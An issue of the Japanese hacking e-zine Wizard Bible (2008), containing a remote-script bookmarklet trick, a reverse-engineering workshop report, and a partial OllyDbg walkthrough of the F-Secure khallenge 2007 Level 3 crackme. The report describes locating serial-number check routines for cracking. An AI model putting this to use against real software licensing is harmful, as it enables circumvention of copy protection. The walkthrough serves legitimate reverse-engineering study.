[-]=======================================================================[-] Wizard Bible vol.38 (2008,1,14) [-]=======================================================================[-] x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ---- 第0章:目次 --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ○第1章: The Evolution of Bookmarklet 金床 著 ○第2章: 『リバースエンジニアリング冬祭り』レポート eagle0wl 著 ○第3章: リバースエンジニアリング実践 khallengeへのチャレンジ その3-1 Green boy 4 著 ○第4章: はじめてのハッキング 〜ローカルシェルコードの開発〜 Defolos 著 ○第5章: 基礎暗号学講座・第13回 〜ハッシュ関数〜 IPUSIRON 著 ○第6章: お知らせ ○第7章: 著者プロフィール x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第1章: The Evolution of Bookmarklet --- 著者:金床 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) Preface I just visited the KENJI's Blog website and found that he says that "I'll write my English Blog, this year!!!123!!!2008!!". Wow. That is very cool. He is always cool. So I decided to write this article in English. Don't worry. My English is almost perfect. If you can not understand my English, it's your fault. Not mine. he he he... ■0x02.) The problems of Bookmarklet If you understand JavaScript, you know Bookmarklet. I don't explain what Bookmarklet is here, because you have G00gle. Though Bookmarklets are powerful and convenient, there are two big problems. First, there is a size limitation. Second, We have to write the JavaScript code in one line. Those problems are really painful. We need cure. ■0x03.) Using DOM #Of course DOM is the Document Object Model, not the Download Only Member, he he he... We can solve these problems of Bookmarklets using the code like below. ----- javascript:var a=document.createElement( 'script' );a.setAttribute('src','http://www.jumperz.net/exploits/wb38.js?'+(new Date-0));document.childNodes[0].appendChild(a);void(0); ----- You can register a new bookmarklet with this value as URL. If you execute the bookmarklet, the code will run on your web browser. The code itself is located on the server ( http://www.jumperz.net/exploits/wb38.js ). We can use multiple lines in the remote JavaScript file and there is no size limitation. Enjoy!!! ■0x04.) 3 Years Later... I just found another person have found the same technique. http://codinginparadise.org/weblog/2005/08/ajax-creating-huge-bookmarklets.html The entry was written three years ago! OMG :pppppppp x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第2章: 『リバースエンジニアリング冬祭り』レポート --- 著者:eagle0wl x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  昨年の12月14日、東京御茶ノ水にて、界隈でも少しずつ注目されている「リバ ースエンジニアリング」技術に関するワークショップが開催されると聞いて、例 によって筆者も参加してきました。詳細は以下のリンクから。 カーネギーメロン大学セキュリティ・ワークショップ 「情報セキュリティのためのリバースエンジニアリング 2.0w」 http://cmuj.jp/071214workshop/index.html  このワークショップは昨年4月に開催された「情報セキュリティのためのリバー スエンジニアリング」の2発目ということで、前回に引き続きカーネギーメロン大 学日本校の武田圭史教授が企画されたものです。前回のレポートは Wizard Bible vol.33 に筆者のものが掲載されていますので、そちらも併せて参照いただけた らと思います。今回も僭越ながらレポートを記したいと思います。 Wizard Bible vol.33 第2章:「リバースエンジニアリングまつり」レポート http://wizardbible.org/33/33.txt ■0x02.) 前回に続いて  会場に着いてみると、例によって Wizard Bible などでおなじみの方や、Blac kHat などのセミナーやコミュニティなどでお馴染みの方を多数見かけましたが、 例によって普通にオフ会的な雰囲気になっていました。やはりセキュリティ業界 は狭いと思った次第。  前回は、リバースエンジニアリングを主題としたワークショップと捉えると、 恐らく日本発の試みだったと思われます。初めてということもあり、イントロダ クション的な内容がほとんどでしたが、今回は「どのようにして脆弱性を分析し ているのか」「私はこのようにしてウイルスを解析している」というような実践 報告が含まれるようになり、聴講者のニーズに応えられる内容になっていたので はないかと思います。実際、運営側も発表項目の選定には苦心していたようです。  開始早々「レポートは是非書いて欲しいですが、オフレコ発言も含むのでその 辺はよろしくお願いします。特にパネルディスカッションは控えめに」(うろ覚 え)といった趣旨のアナウンスで釘を刺されてしまいました。明らかに筆者が書 いた前回のレポを意識しているしか思えない流れに噴いてしまいましたが、今回 は自重しながらレポートしたいと思います。 ■0x03.) その1:脆弱性テストの合法性  初めは、前回に引き続き高橋弁護士が「脆弱性テストの合法性」と題して、厳 密に捉えるとグレーな部分の多い脆弱性テストについて、国内における解釈を示 していました。日本国内においてはどこまでセーフなのか、という線引きがなさ れていないので、(ある程度議論が進んでいる)海外の著作権法や報告などをベ ースにして解釈せざるを得ないという現状からは、ある種のもどかしさを感じま す。本発表で引用している海外の議論や報告案の中には10年以上前のものも含ま れており、事例集めに苦心していることを感じ取れます。  前回は「自己のコンピュータを守るためのリバースエンジニアリングを、妨害 予防請求権(※1)的な立場で捉えることはできないか?」といった、ポジティブ な目的で行うぶんについて正当性を考えることはできないのだろうかという議論 がありました。今回は、(一定条件下で)リバースエンジニアリングを許容する ような海外の法律・報告に加え、国内における議論についても紹介されていまし た。これは1994年の報告書で、14年前になりますがリバースエンジニアリングに 関する議論がなされているということで貴重だと思います。 「コンピュータ・プログラムに係る著作権問題に関する調査研究協力者会議報告 書−既存プログラムの調査・解析等について」 http://www.cric.or.jp/houkoku/h6_5/h6_5_main.html  最後に、ある程度解釈論で対応できないこともないだろう、としながらも、リ バースエンジニアリングの許容性について、公の立場からコメントがなされるべ きだとまとめていました。リバースエンジニアリングに関する新たなルールを定 めることが課題であるとしています。  ここからは筆者の意見です。今回は「脆弱性テスト」というある種「ポジティ ブなリバースエンジニアリング」からのアプローチでしたが、もう少し枠を広げ て「ネガティブなリバースエンジニアリング」の例から探っても面白い例は得ら れるではないかと思いました。  「ネガティブなリバースエンジニアリング」の例を挙げるとクラッキング(い わゆるプロテクト外し)があります。このクラッキングに最も関わりがあるとさ れる法律は、最近、地上波デジタル放送のコピー保護機能を無効化できることで 業界が激震したフーリオの件でも名前の挙がっている「不正競争防止法」が該当 します。1999年の不正競争防止法の改正により、いわゆるMod-Chipのような「コ ピー保護を回避する装置」の販売が違法になりました(所持・製造は違法ではな い)。実は、この改正にあたり、プログラムを改変することによる認証回避(ソ フトクラック)に関しても議論の対象となり、当時のアンダーグラウンドにおけ るソフトウェアクラック界でも非常に注目されました。結果としてプログラムの 改変に関しては「ID・パスワードなどの情報を提供する行為と、迂回(プログラ ムのバグを利用してパスワードを入力しなくても使えるようにすること)に関す るノウハウを提供する行為については明確な切り分けができない(略)情報提供 については最大限の自由度を確保すべき」(※2)という形になり議論が先送りさ れたので、プログラムの改変に関しては未だにグレーゾーンとなっています。  とはいえ、正直なところ広義のリバースエンジニアリングは各所で当然のよう に行われているのが事実であり、このように真剣な議論を行うことに空しさを感 じることもあります。受け売りになりますが、公の立場から明確なコメントがな される時期ではないかと思います。 ※1 例えば、家の前が崖崩れしそうな場合に、その崖の所有者に対策を講じるよう請 求できること ※2 『インターネット訴訟2000/岡村 久道』(ソフトバンク) p91 ■0x04.) その2:セキュリティ脆弱性分析  続いて、前回の発表時ではeEye社でしたが、現在はフォティーンフォティ技術 研究所の鵜飼さんが、7-ZIP32.DLLの脆弱性を発見した実例を題材にした、脆弱性 を発見するまでに至るプロセスの紹介でした。本ワークショップの目玉だったと 思います。  まず、攻撃者側の脆弱性発見・分析手法が高度化(プロ化)している現状を取 り上げ、そのためか、有名なアプリケーションは一定のセキュリティレベルを満 たしていると指摘しました。結果として、これまでのブラックボックス的アプロ ーチの脆弱性検査が非効率なものになってしまったようです。代わって設計・実 装をホワイトボックス的に検査できるリバースエンジニアリングが評価されるよ うになり、セキュリティ技術者にとってはもはや基礎技術と呼ばれるまでになっ たとのことです。  さらに、近年は(ターゲットに罠を踏ませるタイプの)受動的攻撃を成立させ るような脆弱性の攻略がトレンドになっていることを指摘、その中でも有名ワー プロソフトやアーカイバ・メールソフトやブラウザソフトのような、誰もが日常 的に用いるソフトウェアをターゲットにできる「ファイルフォーマット脆弱性」 が増加していますが、これの発見もやはり「リバースエンジニアリング」。  リバースエンジニアリング以前はFuzzing(※3)などで大量に発見されたよう です。しかし、ファイルフォーマットの構造解析処理の不具合に起因しているた め、前述のようにブラックボックス的アプローチであるFuzzingは効率が悪すぎる ためか、すでに過去の技術になりつつあるとのことです。  さて、【目的意識を持って】実際に何らかのプログラムを逆アセンブル・デバ ッグした方なら分かると思いますが、出力される逆アセンブルリストは、一般に 膨大なものとなります。プログラムの解析を行う上で、その膨大なリストの中か ら【効率良く】問題のある箇所を発見することは、リバースエンジニアリングに おいて非常に重要な事柄ですが、これにはある種のノウハウが存在します。  鵜飼さんが「脆弱性発見の鉄則」として「自分だったらどのようなコードを書 くか」「自分だったらどういうバグを作りこんでしまうか」を考えるべきだ、と 示していました。これは脆弱性発見に限らず、リバースエンジニアリング技術そ のものにも当てはまると言えますが、特に前者は、筆者の経験からもあまりにも 重要であり基礎中の基礎であると再確認しました。「クイズは創造力」もとい「 リバースエンジニアリングは想像力」ですね(?)。  さらに効率を上げる方法として、具体的な脆弱性のあるコードを示した上で「 明らかに実装し忘れないであろう異常処理は検査しない、実装し忘れる可能性が あるもののみを集中検査」と、有名アプリケーションが一定のセキュリティレベ ルを満たしている現状を踏まえての方針を紹介していました。このように、リバ ースエンジニアリングの効率を上げるためには、ある程度の「割り切り」は必要 ですね。裏を返せば、方針を立てる段階で判断を誤るとドツボにはまってしまう とも言える訳で、これが難しいところでもあります。  ここで「自分だったらどのようなコードを書くか」という想像力の話に戻しま すが、この考え方はとても重要です。例えば、シリアルナンバーのクラックが目 的ならば、シリアルナンバーのチェックルーチンを見つけることができれば半分 勝ったようなものです。逆にこれを見つけることができなければ目的の達成はほ とんど不可能です。そこで、シリアルナンバーのチェックルーチンを見つけるた めに「自分ならばどのようにチェックルーチンを実装するか」を考えます。一般 的なフローを示します。 1:ユーザにエディットボックスからシリアルナンバーを入力させる 2:エディットボックスに入力されたシリアルナンバーを取得する 3:チェックルーチンを呼び出し、シリアルナンバーの正当性をチェックする 4:チェック結果を画面に表示する  例)「シリアルナンバーが違います」    「ユーザ登録ありがとうございました」  攻撃者が欲しい情報はステップ3のチェックルーチンの在り処ですが、ここでは ステップ2に着目します。実は、エディットボックスから文字列を取得する方法は 非常に限られており、具体的にはWin32APIのGetWindowText(),GetDlgItemText() ぐらいしかありません。これらの関数を呼び出している箇所を調べていけば、チ ェックルーチンは見つかるはずです。もちろん、必ず見つかるとは限りませんが、 このような予測を立てれば、コードをしらみ潰しに調査するよりも、作業効率は 格段に上がります。  同様にウイルスを解析したいのであれば、ファイル入出力関数やレジストリ操 作関数を呼び出している箇所に着目するべきでしょう。このように「どういった プログラムを解析するのか」「そのプログラムを解析して何を得たいのか」で、 アプローチは異なってきますが、基本的な考え方は共通しています。  話を戻します。今回、鵜飼さんは「ファイルフォーマットの処理に脆弱性があ るだろう」と見込んで調査を行っています。そこで、鵜飼さんは「メモリ確保と メモリブロックコピー処理に境界チェックのバグが存在するかもしれない」こと に着目して、memcpy() を呼び出している箇所を順次チェックして、【脆弱性にな りうる可能性のある】箇所を捜し当てるという方法を紹介していました。  以降はコードを精査し、脆弱性となるケースの特定を行うわけですが、ここか らはIDA Proなどの解析ツールが出力する実際のコードの説明になります。フォテ ィーンフォティ技術研究所のウェブサイトから、本講演で用いられたスライドを ダウンロードすることができるので、技術的な詳細に興味のある方はそちらのほ うを参照いただけたらと思います。 Research Papers http://www.fourteenforty.jp/research/research_papers.htm 「リバースエンジニアリングとセキュリティ脆弱性分析」 ※3 プログラムの入力に対して、ブルートフォース的に様々な入力値を生成・投入さ せ、エラーを故意に引き起こす手法 ■0x05.) その3:コンピュータウイルスの解析方法  続いて、日本コンピュータセキュリティリサーチ株式会社の岩本さんの発表で したが「私はこのようにしてウイルスを解析している」という、リアリティのあ る内容でした。まず最初に、画面上に逆アセンブルコードを表示するのではなく、 それを紙に印刷して、関数電卓を用いながら鉛筆でチェックを入れるという方法 で静的解析(プログラムを実行させずに解析すること)を行っているとのことで、 それを聞いて驚きました。現在は開発の終了したカーネルデバッガSoftICEを使う 場合では、SoftICEの性質上PC上でメモを取ることができないので、紙と鉛筆が用 いられていたものです。しかし、なぜわざわざ「紙と鉛筆」なのかが最初は理解 できませんでしたが、発表後の質疑応答で、コードの隅々まで自分で理解するた め、という趣旨の回答があり、職人プログラマ的なものを感じました。  1998年から2007年までのウイルス解析の実績から、C言語などの高級言語で書か れたウイルスが急増していること、ウイルスの種類も多様していること、マンパ ワーが必要だがすでに頭打ちになっている現状から、解析の自動化を実施するに 至ったようです。  岩本さんは、検体がもつプログラムの特徴(ここでは、Win32API関数の呼び出 し履歴)に着目してグラフ化し、既存のマルウェアとの類似性を導くことで、解 析を始める上での手がかりの取得と機能推定を行っているそうです。これにより、 新しく追加された処理や削除された処理も分かるため、追加された処理から解析 すれば効率が上がるということになるわけですね。  実は、API関数の呼び出し履歴に着目したプログラムの類似判定は、コンピュー タウイルスとは別の分野でも研究されていることはご存知かもしれません。  知的財産権保護のための技術用語で、BirthMark(あざ)と呼ばれているものが あります。これはプログラム固有の特徴のことであり、プログラムの盗用の事実を 証明するために用いられるものです。BirthMarkはプログラムが持っている”特徴” であるため、電子透かしのように後からデータを埋め込むものとは異なります。 このBirthMarkをどのように抽出するか、ということでAPI呼び出しに着目した報 告がいくつかあります。盗用を証明するための技術が、コンピュータウイルスの 亜種解析という形でも生かされているというのは、奇妙で興味深いです。 http://se.naist.jp/~harua-t/publication.html 岡本 圭司, 玉田 春昭, 中村 匡秀, 門田 暁人, 松本 健一, ``ソフトウェア実行 時のAPI呼び出し履歴に基づく動的バースマークの提案'', ソフトウェア工学の基 礎XI, 日本ソフトウェア科学会 FOSE2004 (FOSE2004), pp.85--88, November 2004. etc... ■0x06.) その4:マルウェア解析の自動化  続いて、セキュアブレインの星澤さんによる「マルウェア解析の自動化」と題 した発表でした。最初に「リバースエンジニアリング=逆アセンブル」と限らな いのでは? という問いかけに始まり、岩本さんも紹介していたプログラムの特 徴から亜種を特定する話も登場しましたが、分析・分類・対策といった、マルウ ェアの対処方法の自動化にも触れられていました。  まず、ツールによって自動生成されたマルウェアの解析レポートを提示した上 で、2007年上半期に発見されたウイルスの数から、これらのウイルスに対応する ためには相当数の解析エンジニアが必要であることを示していました。しかし、 エンジニアの技術レベルによって解析結果の品質にバラつきが生じてしまう、( 有名なマルウェアであれば労力は割けるが)すべてに対して平等に労力を割く訳 にもいかない、といった現場からの問題に対処するために、自動化を行うに至っ たとのことです。  まず、解析を行うにあたって、検体の収集とマルウェアを擬似的に実行させる 環境の構築が必要不可欠になります。近年のマルウェアは、ネットワークへの接 続を前提としたものも多く、それをエミュレートできるダミーサーバの構築が必 要になっています。さらに、解析を妨害するアンチデバッグ処理の回避(Anti-A nti Debug)なども行う必要もあり、マルウェアが動作しやすい環境を作るだけで も相当の努力が必要になるようです。さらにログの肥大化対策として、ロギング すべき情報を厳選するなどといった取捨選択も迫られるとのことです。  発見されたマルウェアが新種であるか、亜種・変種であるかの判断は、現状は エンジニアが経験に基づいて判定しているそうです。しかし、明確な基準が無い ために、エンジニアやベンダによって判定結果が異なることが問題になっている とのこと。この問題を解決するために「Windows API の種類や呼び出しのタイミ ングに着目」することでマルウェアを分類できるか検討を行い、「アンチウイル スベンダのエキスパートが人的努力によって行った分類結果と比較して遜色がな く、効果的な手法」であるとの結果を得られたとのことです。 ■0x07.) その5:コード解析のための知識と技術の体系化&パネルディスカッション  最後は、武田教授が「コード解析のための知識と技術の体系化」と題して、な ぜコード解析が必要なのか? 必要な知識は? といった課題の整理と、トレー ニングプログラム案を展開していました。  最後には、セキュリティの脅威が高度化に対応するためも、知識の集積と体系 化が必要、そのためにはコード解析に関するトレーニングの場の提供と、ワーク ショップにおける講演者やスタッフの募集といったマンパワーも必要である、と 結んでいました。  パネルディスカッションでも、やはり人材確保や教育に関する話題が多数を占 めました。「手を動かす機会が無い」「法律を気にすると手が進まない」「上流 の人間が多くソフトウェア技術・開発のできる人が少ない」「一般業務では実務 経験は得られない」「即戦力は無理だが、教育をすれば出来るようになるのでは」 「人を増やすには給料を上げればよい、海外のリバースエンジニアの給料はすご く高い」など、リバースエンジニアリング技術の扱いの難しさが浮き彫りになっ ていたように思います。しかし「機会があれば動くのではないか、基礎ができれ ばなんとかなる」、鵜飼さんの発表の最後でも取り上げられていましたが「向上 心の強いエンジニアが常日頃から交流を持ち、日々実戦経験を積んでいく事で、 みるみる技術力は向上する」といった力強い言葉もありました。  最後に、質問の時間が設けられたのですが、僭越ながら発言させていただきま した…が、すごくアホな質問をした結果、会場が失笑していました。(セキュリ ティ業界の中のリバースエンジニアリング業務を指して)「ニッチ産業」のワー ドを連呼したのはウケ狙いと思われても仕方ないです(汗)。慣れないことはす るものではないと強く感じました。しかし、鵜飼さんから「そのニッチを極めて 欲しい、突き詰めれば絶対に評価されるはず」といった趣旨の回答をいただきま した。やはり第一線で活躍している方は熱いなと思った次第です。 ■0x08.) 最後に  前回に引き続き、武田教授によるワークショップとなりましたが、各所からも 同様の試みが成されることを期待しています。また、今後のワークショップにお ける講演者やスタッフを募集しているそうです。興味のある方やネタをお持ちの 方は、リバースエンジニアリング技術の発展のためにも、是非、是非、手を挙げ ていただきたいと思います。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第3章: リバースエンジニアリング実践 khallengeへのチャレンジ その3-1 --- 著者:Green boy 4 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  どもGreen boy 4です。36号に続き、F-Secure Reverse-Engineering Challenge 2007(khallenge 2007)の解析を行ないます。今回から数回にわたって、ラストの 問題であるLevel3について説明していきたいと思います。本当は1回で説明できれ ばよいのですが、かなり長文になることが予想されるので、何回かに分けて説明 していきたいと思います。  と、ちょっとその前に、この場を借りてお詫びしなければならないことはあり ます。36号の第3章 0x03.)において、OllyDumpはDokoDonさんのサイトからはもう ダウンロードができないような書き方をしてしまいました。しかし、ご本人から ツッコミをいただきまして、サイトは閉めているものの、OllyDumpをはじめとし たPluginはダウンロードできるようです。具体的にはOllyDumpのダウンロードは 以下の方法で行ないます。 1:以下のURLにアクセス http://dd.x-eye.net/ 2:「閉めました。」というリンクをクリック 3:「ollydump300110.zip」をダウンロード  私が確認不足のために、誤った記述をしてしまい、申し訳ありませんでした。 またDokoDonさん、ご指摘ありがとうございました。  ということで、ここからLevel3の説明を始めたいと思います。 ■0x02.) まず実行  Level3は実行すると、下記のようにKeyの入力を求められます。この点はLevel 1と同様ですね。このKeyがわかれば、Level3が解けます。では、実際にOllyDbgで 読み込ませて見ましょう。 ----- 出力された内容 Assembly 2007 Reverse-Engineering Challenge - Level 3 Copyright (c) 2007 F-Secure Corporation For more informations visit: http://www.f-secure.com/security_center/asm.html Enter the key: -----  さて、どうしたものでしょうか? やはりここは、デバッガで読み込んで解析し てみましょう。 ■0x03.) OllyDbgで読み込み  OllyDbgにFSC_Level3.exeをドラッグ&ドロップします。前項で実行した際、「 Assembly 2007〜」という文字列が表示されていたことを確認済みなので、その文 字列を表示後、文字列の入力を受け付けた後に正規のKeyの文字列と比較する処理 があるはずです。ということで、まずこのメッセージがどこで表示されるかを探 したいと思います。  CPUウィンドウの逆アセンブラが表示されている部分を右クリックし、Search For->All referenced text stringsを開いてください。 ----- All referenced text stringsウィンドウの一部 Text strings referenced in FSC_Leve:.text Address Disassembly Text string 00401086 PUSH FSC_Leve.00400F00 ASCII "Assembly 2007 Reverse-(略)Enter the key: " 004010F1 MOV ESI,FSC_Leve.0040C398 ASCII "Congratulations! Please send an e-mail to " 00401167 MOV ESI,FSC_Leve.0040C3D4 ASCII "Sorry, this key is not valid!" …(以下略)… -----  最初の行(401086)に実行時のメッセージが出てきました。また成功時、失敗 時に表示されるメッセージはそれぞれ4010F1、401167が参照していることがわか ります。このように実行時のメッセージがバイナリにそのまま存在することから 今回はLevel2のときのようにパックされていないようです。ではとりあえず4010 86にブレークポイントを設定し、F9でそこまで実行して様子を見てみましょう。 ■0x04.) 文字列の入力場所の判定  実行すると、以下の場所で停止します。 ----- ブレークポイント(401086)時点のCPUウィンドウの内容 00401086 |. 68 000F4000 PUSH FSC_Leve.00400F00 ; ASCII "Assembly (略)Enter the key: " 0040108B |. C705 50E04000>MOV DWORD PTR DS:[40E050],FSC_Leve.00401> 00401095 |. C705 54E04000>MOV DWORD PTR DS:[40E054],FSC_Leve.00401> 0040109F |. C705 64E04000>MOV DWORD PTR DS:[40E064],FSC_Leve.00401> 004010A9 |. E8 06050000 CALL FSC_Leve.004015B4 004010AE |. E8 A8010000 CALL FSC_Leve.0040125B 004010B3 |. 50 PUSH EAX 004010B4 |. 8D8424 100400>LEA EAX,DWORD PTR SS:[ESP+410] 004010BB |. 68 00040000 PUSH 400 004010C0 |. 50 PUSH EAX 004010C1 |. E8 67030000 CALL FSC_Leve.0040142D ; 文字入力受け付け関数 004010C6 |. 8D8C24 180400>LEA ECX,DWORD PTR SS:[ESP+418] 004010CD |. 6A 0A PUSH 0A 004010CF |. 51 PUSH ECX 004010D0 |. E8 2B030000 CALL FSC_Leve.00401400 004010D5 |. 8D9424 200400>LEA EDX,DWORD PTR SS:[ESP+420] 004010DC |. 52 PUSH EDX 004010DD |. C600 00 MOV BYTE PTR DS:[EAX],0 004010E0 |. E8 EB000000 CALL FSC_Leve.004011D0 ; 文字列比較関数? 004010E5 |. 83C4 1C ADD ESP,1C 004010E8 |. 85C0 TEST EAX,EAX 004010EA |. 75 76 JNZ SHORT FSC_Leve.00401162 ; 合否の判定 004010EC |. B9 0A000000 MOV ECX,0A 004010F1 |. BE 98C34000 MOV ESI,FSC_Leve.0040C398 ; ASCII "Congratulations! Please send an e-mail to " -----  ここから、F8で進めていったところ、まず、4010C1でF8が効かなくなり、コマ ンドプロンプトがKeyの入力待ちの状態になりました。そこでその次の行の4010C6 にブレークポイントを設定後、Keyはわからないので、仮に「abcdefgh」と入力し てEnterを押したところ、再度デバッガに処理が戻りました。よってそのままF8で さらに進めていきました。  すると、4010E0のcallが実行される直前までは入力した文字列がスタックに積 まれていましたが、4010E0がcallされ、その後のADD命令(4010E5)によって、そ の文字列がスタックから解放されていることがわかりました。そのため、このcal l文(4010E0)が入力文字列と正規のKeyを比較している部分であると推測するこ とができます。また、その後のJNZ(4010EA)でEAXが0でなければ、文字列が不正 であったときの処理にジャンプします。よって、4010E0で呼び出した関数の合否 判定(=入力文字列の合否判定)をここ(4010EA)でおこなっているということ になります。ということで、4010E0のCALL 4011D0を詳しく調査すれば、正しい文 字列が得られるはずなので、次の項ではそれを調査していくことにします。 ■0x05.) 文字数チェック処理を特定  4010E0にブレークポイントを設定後、Ctrl+F2でプロセスを再スタートしてF9を 押して再度実行します。その際、それまでに設定したブレークポイントは、Alt+B でBreakpointsウィンドウを開き、SpaceキーでDisableに設定しておくとよいでし ょう。Keyはとりあえずまた「abcdefgh」と入力し、Enterを押すと、4010E0で停 止するので、F7でStep intoし、F8でStep overして進めていきます。  F8でざっくり進めていくとわかると思いますが、2〜3命令を実行ごとにJMP命令 であちこちにジャンプしてしまい、内容が非常にわかりにくくなっていることが わかると思います。これは、コードが難読化(obfuscate)されていることが予測 されます。やはりLevel3は一筋縄ではいかないようです。  また、F8で進めていったところ、しばらくすると、以下のようなコードが出て きました。 ----- 413E3B付近のCPUウィンドウ 00413E3B 31C0 XOR EAX,EAX 00413E3D 8A8B 68000000 MOV CL,BYTE PTR DS:[EBX+68] 00413E43 388B 64000000 CMP BYTE PTR DS:[EBX+64],CL ; 入力文字の1文字目「a」とNULL?を比較 00413E49 75 01 JNZ SHORT FSC_Leve.00413E4C 00413E4B 40 INC EAX 00413E4C 8883 64000000 MOV BYTE PTR DS:[EBX+64],AL 00413E52 ^ E9 7BAEFFFF JMP FSC_Leve.0040ECD2 -----  413E49は難読化のJMP命令とは違い、条件分岐のJNZなので、何らかの条件判定 を行なっている部分のようです。また、入力した文字列の1文字目である「a」と NULL(00)を比較しているように見えます(413E3D)。本物のKey文字列の比較部分で あるかはわかりませんが、ここは重点的に見ておく必要があると考えられます。 よって、413E49あたりにブレークポイントを設定後、一度Ctrl+F2でプロセスを再 起動し、F9で実行してKeyを入力すると、以前に設定したブレークポイント(4010 E0)で停止するので、F7を押して4011D0に入ります。そして、ここからの動きを 詳細に見ていきます。  ただし前述の通りコードが難読化されているようであるため、コードがあちこ ちに飛んで、一見では確認しづらいので、ここから実行されるコードのトレース をとって、トレースログをチェックすることで、この難読化を回避してみたいと 思います。  まずメニューバーよりView->Run traceを選択し、Run traceウィンドウを表示 します。次にRun traceウィンドウを右クリックし、Log to fileを選択し、結果 をファイルに保存するようにします。その後、Ctrl+F12でTrace overを実行する ことで、F8を押してStep overしていった場合と同程度の内容がファイルに保存さ れるようになります。 ----- トレースログの一部(ループ1回目) Address Thread Command ; Registers and comments 0040EB11 Main MOV DWORD PTR DS:[EBX+78],0 00413DE3 Main MOV EAX,DWORD PTR DS:[EBX+8] ; EAX=00162E38 -> 入力文字列が格納されているアドレス 00413DE9 Main ADD DWORD PTR DS:[EBX+78],EAX 00410AD9 Main MOV EAX,DWORD PTR DS:[EBX+78] 00410ADF Main MOV AL,BYTE PTR DS:[EAX] ; EAX=00162E61 -> ALは0x61であり、ASCIIコードでいう「a」 00410AE1 Main MOV BYTE PTR DS:[EBX+64],AL 004127C7 Main MOV DWORD PTR DS:[EBX+78],4 00411FDE Main MOV EAX,DWORD PTR DS:[EBX+8] ; EAX=00162E38 00411FE4 Main ADD DWORD PTR DS:[EBX+78],EAX 00412209 Main MOV EAX,DWORD PTR DS:[EBX+78] ; EAX=00162E3C 0041220F Main MOV AL,BYTE PTR DS:[EAX] ; EAX=00162E00 00412211 Main MOV BYTE PTR DS:[EBX+68],AL 00413E3B Main XOR EAX,EAX ; EAX=00000000 00413E3D Main MOV CL,BYTE PTR DS:[EBX+68] ; ECX=00162E00 -> ALは0x00であり、ASCIIコードでいうNULL 00413E43 Main CMP BYTE PTR DS:[EBX+64],CL Breakpoint at FSC_Leve.00413E49 00413E49 Main JNZ SHORT FSC_Leve.00413E4C ; ブレークポイント 00413E4C Main MOV BYTE PTR DS:[EBX+64],AL 0040ECD2 Main AND BYTE PTR DS:[EBX+64],1 0040ECD9 Main XOR BYTE PTR DS:[EBX+64],1 0040EF95 Main MOV DWORD PTR DS:[EBX+78],0 -----  これは、トレースログからブレークさせた413E49付近のコードを抜き出し、さ らにJMP命令を省略したものです。ただ実行していたときより、だいぶ見やすくな ったのではないかと思います。ここから、以下のような法則があることがわかり ました。 ----- 413E43時点での各値 EBX : 下記の値を計算するためのベースアドレス [EBX+8] : 入力文字列(1文字分)のポインタ [EBX+64] : 入力文字列(1文字分)の値 [EBX+68] : 不明(NULL?常に00でした) [EBX+78] : 入力文字列のポインタ+4(410AD9では入力文字列のポインタを格納 していたので、汎用的に利用される変数?) -----  その後もCtrl+F12を実行するたびに413E43でブレークし、[EBX+64]の値が「b」 「c」…と変化していき、入力文字が1文字ずつNULLと比較されているのがわかる と思います。ここは入力文字列をチェックするループのようです。入力した文字 列+1回試行した際に、終端文字であるNULL同士が比較され、413E49のJNZでジャ ンプせずに413E4BのINC EAXが実行されます。  [EBX+64]の表示の仕方がわからない方は、CPUウィンドウ右上のRegistersセク ションのEBXの値をクリック後、右クリックメニューからFollow in Dumpを選択す ると、CPUウィンドウ下部のDumpセクションにそのアドレスが表示されます。Dump セクションのアドレスをダブルクリックすると、アドレスが絶対表示から相対表 示に切り替わるので、$+64を確認すれば確認できますので、試してみてください。 他にも、Memory mapウィンドウから確認する方法など、いくつかあると思うので ご自身のお好きな方法で実施してみてください。  実は、このループは入力文字数のカウントと文字列の終端のチェックを行なう ループであり、413E4BのINC EAXはこのループを抜けるためのフラグになります。 以下のトレースログは、まだ入力文字が残っている場合です。40ECD2、40ECD9に よって、フラグは反転され、0から1になります。そのため、40ECBBのCMP命令で0 と比較され、一致しないために40ECC5のJE命令ではジャンプせずに、40ECC7へ進 み、JMP 414711で終端チェックをするループの先頭へと戻ります。 ----- 入力文字列が終端文字でない場合のトレースログ 